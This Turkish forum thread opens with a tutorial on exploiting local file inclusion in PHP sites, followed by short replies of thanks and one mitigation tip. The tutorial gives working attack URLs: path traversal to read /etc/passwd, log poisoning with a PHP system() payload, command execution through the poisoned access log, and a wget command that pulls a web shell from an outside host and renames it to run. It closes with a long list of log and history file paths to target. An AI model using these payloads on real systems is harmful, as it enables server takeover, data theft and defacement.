Geniş Anlatım : LFI Hacking Teknikleri

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Twitter
    Twitter's avatar
    Kayıt Tarihi: 13/Ekim/2007
    Erkek

    LFI dediğimiz ( local file include) güvenlik açığının türkçesi yerel dosya dahil etmek anlamına gelir... Yani bir sunucu düşünün ve o sunucuda bulunan dosyaları sorgulayarak yaptığımız attack şeklidir.

    Ve şöyle devam etmek istiyorum. Biliyorsunuz ki Türkiye'de pek açıklamasını bulamadığınız bir konudur ve tüm sitelerde şöyle olarak geçer "pek etkili olmasada..." , aslında buna ben katılmıyorum. LFI atak yöntemi rfi den daha tehlikelidir. neden derseniz 3 şekle dönüşebiliyor. LFI - RCE - RFI olarak kullanabiliyorsunuz...

    Evet, bu bilgiyi de verdikten sonra isterseniz lfi nin yapısını inceleyelim...

    1. LFI nasıl oluşur ?

    öncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım.

    PHP- Kodu:
    #Dosya adı : test.php
    <?php
      include($_GET['sayfa'].".php");
    ?>
    gibi bir kod yazdık. Normalde webmasterlar bunu kolaylık olsun diye kullanırlar. Hem daha az kod yazar , hemde daha az zaman kaybetmiş olur... Sayfa normalde şu şekilde çalışır. include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını...

    örneğin browserimize :

    http://localhost/test.php?sayfa=haber

    dediğimizde $_GET['sayfa'] değeri haber olacaktır. ve yukarıdaki koda dikkat ederseniz .php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyor

    PHP- Kodu:
    <?php
    #Dosya adı : test.php

    include("haber.php");
    ?>
    Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor. tabi bu illa include olacak değil. değişik yollar da olabilir. Örnek vermek gerekirse ;

    include();
    include_once();
    require();
    require_once();
    file();
    file_get_contents();

    gibi fonksiyonlarla beraber de çağırılabilir.

    Evet. bu örneklere dayanarak şunları söyleyebiliriz o halde; Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir. ve browserimizde istediğimiz sayfamızı ( haber.php 'yi ) açtık. Sayfa da hiç bir sorunumuz yok. Ama sizce sayfa bu kadar masum mu ?

    Şimdi örneklerle nasıl hata verdirip nasıl kullanacağımız konusuna baqalım...

    Hata verdirme :

    Evet en son hatırlarsanız browserimizde http://localhost/test.php?sayfa=haber yazmıştık ve haber.php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım...

    Örnek 1 :

    http://localhost/test.php?sayfa=/etc/passwd

    yazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır...

    Warning: main(/etc/passwd): failed to open stream: No such file or directory in /usr/www/www.coderx.org/www/test.php on line 5

    Warning: main(): Failed opening '/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.coderx.org/www/test.php on line 6

    Evet hata verdirmeyi başardık ( Ne mutlu bize ) Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar ?

    Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor... Bu bize öyle bir sayfanın o dizinde bulunmadığını gösterir. Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor. Bunu bir yere not edelim... Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki ajaba ? Linux sunucular da ana dizin ( root directory ) dediğimiz dizinde bulunurlar. Peki buraya nasıl erişebilirim ? Az önce not edin dediğim dosya yolunu kullanarak ulaşabiliriz. Ama bundan önce kaç dizin olduğunu saymamız lazım.
    Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım ( / ) işaretinden itibaren parçalayın

    Server dizini : /usr/www/www.coderx.org/www/test.php

    /usr ( 1 .ci dizin )
    /www ( 2 .ci dizin )
    /www.coderx.org ( 3. cü dizin )
    /www ( 4. cü dizin )
    /test.php ( şu an bulunduğumuz dizin )

    istediğimiz sayfa = /etc/passwd

    Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var. Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.

    ../../../../etc/passwd

    buradaki her bir ../ işareti bir üst dizin anlamına geliyor. 4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk. Ve browserimizdeki adresi şöyle değiştirerek

    http://localhost/test.php?sayfa=../../../../etc/passwd

    Gelen veriye baktığımızda

    # $FreeBSD$ #
    root:*:0:0:RMx &:/root:/usr/local/bin/bash

    .. ve devamı

    Evet bu şekilde passwd dosyasını okuyabildik... İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye götürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.

    Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır. File inclusion metotları genelde bir linux sever için basittir. Ama linux ve linux komutlarına aşina değilseniz emin olun bir tarafınızdan terler akacaktır

    Şimdi /etc/passwd dizinini buldum ? ne işime yarayacak ? Aslında bu konuya girmek istemiyorum bile her türlü kullanabilirsn. Onu da araştır biraz makaleyi elimden geldiği kadar kısa ve öz tutmak istiyorum.Normalde büyük ve bayağı teferruatlı bir konudur.

    Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum. Bilirsiniz web sitelerin çalışma mantığını. Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar. Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar. Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar. Peki RMx bu benim ne işime yarayacak ?

    Aslında bir çok şeye , Local file include metodnun can alıcı noktası da burada zaten... Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?

    http://localhost/<?php phpinfo(); ?>

    BİLGİ :
    <?php phpinfo(); ?> ne demektir ?

    php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions 'lara bakarak ne kullanacağımızı göre biliriz...

    Elbetteki yazdırır...

    Ama bunu yazdığına göre ben burya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum...

    http://localhost/<?php system("ls -la"); ?>

    yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.

    http://localhost/<?php system($_GET['mgg']); ?>

    BİLGİ :

    <?php system("ls -la"); ?> nedir ?

    php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET['mgg']; ise mgg den gelen bilgi anlamına gelir..Cümlemizi toparlarsak mggden gelen bilgiyi sistem üzerinde çalıştır demek olur...

    Bunu yaptığımızda ne olacak ? hemen bir hata sayfası

    404 This page not found

    adında bir hata sayfası getirecektir. Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk... Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?


    Aslında kullanması da basit. Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz. Yine bir varsayım yapalım...

    Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun

    /apache/logs/access.log

    bunu kendi sistemimize uyarlıyoruz...

    ve şöyle oluyor...

    http://localhost/test.php?sayfa=../../../../apache/logs/acces.log

    browsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir dolaysıyla bizim kodumuz da orda olacaktır. Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz

    http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=ls -la
    peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir...

    Bu şekilde istediğiniz şeyi çalıştırabilirsiniz. Ama yukarda da bahsettiğim gibi doyumsuz arkadaşlarımızın da olduğunu söyledim. E tabi onlar serverda sadece işlem yapmak istemez serverı kendi kontrolüne de almak ister... Her zaman yapacak birşeyler vardır öyle değil mi

    Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linuxun wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...

    http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.php

    bu şekilde dosyanızı çekebilirsiniz... tabi bazen sorun oluyor işte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama ) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz. Ve şöyle birşey yazıyoruz...


    http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.txt

    bu şekilde genelde çeker... Ne yapmış olduk txt dosyasını servera yüklemiş olduk. E tabi txt halinde çalışmaz bunun uzantısını değiştirelim... Onu da şöyle yapabiliriz...


    http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=mv shell_adi.txt shell_adi.php

    bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik. isterseniz adını da değiştirebilirsiniz size kalmış bir olaydır. Bundan sonrasını zaten biliyorsunuz videolu anlatımlarda var serverı rootlayarak tüm sunucuyu deface edebilirsnz vs vs...

    Döküman ise RMX e aittir

    Konuyu bitirmeden önce elimde olan Default dosya yollarını da size veriyim. Hiç olmazsa log dosyalarını ararken yorulmazsınız...


    Sunucu tipine göre verilmiştir...:


    IRIX:

    /var/adm/SYSLOG
    /var/adm/sulog
    /var/adm/utmp
    /var/adm/utmpx
    /var/adm/wtmp
    /var/adm/wtmpx
    /var/adm/lastlog/username
    /usr/spool/lp/log
    /var/adm/lp/lpd-errs
    /usr/lib/cron/log
    /var/adm/loginlog
    /var/adm/pacct
    /var/adm/dtmp
    /var/adm/acct/sum/loginlog
    /var/adm/X0msgs
    /var/adm/crash/vmcore
    /var/adm/crash/unix


    AIX:

    /var/adm/pacct
    /var/adm/wtmp
    /var/adm/dtmp
    /var/adm/qacct
    /var/adm/sulog
    /var/adm/ras/errlog
    /var/adm/ras/bootlog
    /var/adm/cron/log
    /etc/utmp
    /etc/security/lastlog
    /etc/security/failedlogin
    /usr/spool/mqueue/syslog


    SunOS:

    /var/adm/messages
    /var/adm/aculogs
    /var/adm/aculog
    /var/adm/sulog
    /var/adm/vold.log
    /var/adm/wtmp
    /var/adm/wtmpx
    /var/adm/utmp
    /var/adm/utmpx
    /var/adm/log/asppp.log
    /var/log/syslog
    /var/log/POPlog
    /var/log/authlog
    /var/adm/pacct
    /var/lp/logs/lpsched
    /var/lp/logs/lpNet
    /var/lp/logs/requests
    /var/cron/log
    /var/saf/_log
    /var/saf/port/log

    Linux:

    /etc/httpd/logs/error.log
    /etc/httpd/logs/error_log
    /etc/httpd/logs/access.log
    /etc/httpd/logs/access_log
    /etc/wtmp
    /etc/utmp
    /opt/lampp/logs/error_log
    /opt/lampp/logs/access_log
    /var/log/lastlog
    /var/log/telnetd
    /var/run/utmp
    /var/log/secure
    /var/log/wtmp
    /var/run/utmp
    /var/log
    /var/adm
    /var/apache/log
    /var/apache/logs
    /var/apache/logs/access_log
    /var/apache/logs/error_log
    /var/log/acct
    /var/log/apache/access.log
    /var/log/apache/error.log
    /var/log/apache-ssl/error.log
    /var/log/apache-ssl/access.log
    /var/log/auth.log
    /var/log/xferlog
    /var/log/message
    /var/log/messages
    /var/log/proftpd/xferlog.legacy
    /var/log/proftpd.access_log
    /var/log/proftpd.xferlog
    /var/log/httpd/error_log
    /var/log/httpd/access_log
    /var/log/httpsd/ssl.access_log
    /var/log/httpsd/ssl_log
    /var/log/httpsd/ssl.access_log
    /etc/mail/access
    /var/log/qmail
    /var/log/smtpd
    /var/log/samba
    /var/log/samba-log.%m
    /var/lock/samba
    /root/.Xauthority
    /var/log/poplog
    /var/log/news.all
    /var/log/spooler
    /var/log/news
    /var/log/news/news
    /var/log/news/news.all
    /var/log/news/news.crit
    /var/log/news/news.err
    /var/log/news/news.notice
    /var/log/news/suck.err
    /var/log/news/suck.notice
    /var/log/thttpd_log
    /var/log/ncftpd/misclog.txt
    /var/log/ncftpd.errs
    /var/log/auth
    /var/log/kern.log
    /var/log/cron.log
    /var/log/maillog
    /var/log/qmail/
    /var/log/httpd/
    /var/log/lighttpd
    /var/log/boot.log
    /var/log/mysqld.log
    /var/log/secure
    /var/log/utmp
    /var/log/wtmp
    /var/log/yum.log
    /var/spool/tmp
    /var/spool/errors
    /var/spool/logs
    /var/spool/locks
    /var/www/log/access_log
    /var/www/log/error_log
    /var/www/logs/access.log
    /var/www/logs/error.log
    /var/www/logs/error_log
    /var/www/logs/access_log
    /root/.ksh_history
    /root/.bash_history
    /root/.bash_logut
    /usr/local/apache/log
    /usr/local/apache/logs
    /usr/local/apache/logs/access_log
    /usr/local/apache/logs/error_log
    /usr/local/apache/logs/access.log
    /usr/local/apache/logs/error.log
    /usr/local/etc/httpd/logs/access_log
    /usr/local/etc/httpd/logs/error_log
    /usr/local/www/logs/thttpd_log

    Windows

    c:\Program Files\Apache Group\Apache\logs\error.log
    c:\Program Files\Apache Group\Apache\logs\access.log
    c:\apache\logs\error.log
    c:\apache\logs\access.log


    Part Time Engineer, Full Time Dreamer ..
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Mycity
    Mycity's avatar
    Banlanmış Üye
    Kayıt Tarihi: 01/Şubat/2011
    Erkek


     





    Bazıları sadece konuşur bazıları ise hayalleri ile dünya'ya yön verir.. Mycity
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Allura
    Allura's avatar
    Kayıt Tarihi: 17/Mayıs/2009
    Erkek

    güzel paylaşım


    "
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    blutarm
    blutarm's avatar
    Kayıt Tarihi: 09/Mart/2007
    Erkek

    paylaşım için teşekkürler bilmeyen arkadaşların işine yarayacaktır.

    demekki neymiş "include($_GET)" diye açık açık değil azda olsa önlem alarak "switch($_GET)" diye çağırmak gerekiyormuş... =)

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Holyzone
    Holyzone's avatar
    Üstün Hizmet Madalyası
    Kayıt Tarihi: 13/Ekim/2008
    Erkek

    log dir ler sağlam olmuş eyvallah :)

    konuyla alakalı bir video çekmiştim zamanında izlemek isteyen izlesin adresten.

    http://selimonder.com/dosya/video/source/rce.html

     

     

  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Emrow
    Emrow's avatar
    Banlanmış Üye
    Kayıt Tarihi: 17/Mart/2007
    Erkek

    hekingçi kaldı mı ya?

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    manialith
    manialith's avatar
    Kayıt Tarihi: 01/Ocak/2009
    Erkek

    13 yaşında başladığım işe sanırım 22 sinde gibi devam etmeyi planlıyorum. umarım zamanım olur. belki de okurken.. gerçekten güzel iş.


    Im Boned, All Boned.
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    aksata
    aksata's avatar
    Kayıt Tarihi: 28/Aralık/2009
    Erkek
    bi ara bakaruk

    Bazıları özgürlüğü sadece kendileri gibi düşünenlere reva görüyor...
Toplam Hit: 2960 Toplam Mesaj: 8